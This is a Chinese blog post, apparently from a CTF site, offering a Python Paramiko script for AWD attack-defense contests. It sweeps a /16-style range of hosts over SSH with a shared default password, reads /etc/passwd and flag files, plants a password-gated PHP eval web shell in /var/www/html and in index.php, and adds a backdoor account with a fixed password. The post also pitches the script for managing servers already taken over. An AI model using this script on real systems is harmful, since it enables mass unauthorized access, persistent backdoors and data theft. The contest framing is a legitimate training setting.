AWD-ssh批量执行命令脚本

最新推荐文章于 2024-08-15 09:21:55 发布

原创最新推荐文章于 2024-08-15 09:21:55 发布 · 3.2k 阅读

21 ·

CC 4.0 BY-SA版权

文章标签：

#AWD #SSH #Python #CTF #运维

Python 专栏收录该内容

7 篇文章

订阅专栏

本文介绍了一种使用Python和Paramiko库实现批量SSH连接至多台服务器并执行命令的方法，适用于AWD比赛及企业运维场景。通过创建多线程进行并发操作，提高了效率。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前两年有些AWD比赛，环境没有做隔离，服务器初始化密码都一样，可通过批量连接每台服务器来修改密码，执行命令。

或者是已经拿到多台服务器权限后，做一个批量管理。

平时企业运维中，可能也用得到。

#-*- coding: utf-8 -*-

#!/usr/bin/python 

import paramiko

import threading



def ssh2(ip,username,passwd,cmd):

    try:

        ssh = paramiko.SSHClient()

        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        ssh.connect(ip,22,username,passwd,timeout=5)
        #ssh.connect(ip,22,username,passwd,timeout=50)

        for m in cmd:

            stdin, stdout, stderr = ssh.exec_command(m)

#           stdin.write("Y")   #简单交互，输入 ‘Y’ 

            out = stdout.readlines()

            #屏幕输出

            for o in out:

                #print o,
                print o+"("+ip+")"+"\n"

        print '%s\tOK\n'%(ip)

        ssh.close()
        

    except :

        print '%s\tError\n'%(ip)





if __name__=='__main__':

    cmd1="cat /etc/passwd"
    
    cmd2="echo \'<?php if(md5($_GET[\'guo\'])===\"f11487ed3a8dedaddaf0999baf85bd17\"){@eval($_POST['cmd']);} ?>\' >/var/www/html/temp123123.php "
    cmd2="echo \'<script language=\"PHP\"> if(md5($_GET[\'guo\'])===\"f11487ed3a8dedaddaf0999baf85bd17\"){@eval($_POST[\'cmd\']);} </script>\' >> /var/www/html/index.php"

    cmd3="adduser qwer" #增加账户qwer

    cmd4="echo \"123123123\"|passwd --stdin qwer"  #设置该账户的密码为123123123

    #你要执行的命令列表
    cmd = ["cat /flag.txt",cmd2,'cat /var/www/html/temp123123.php',cmd3,cmd4]


    
    username = "admin"  #用户名
    passwd = "123456"    #密码

    
    threads = [100]   #多线程

    print "Begin......"

    for i in range(1,256):
          #  ip="192.168.32.167"

        #ip = '192.168.50.'+str(i)
          
        ip = "172.20."+str(i)+".101"
        a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd))
        a.start()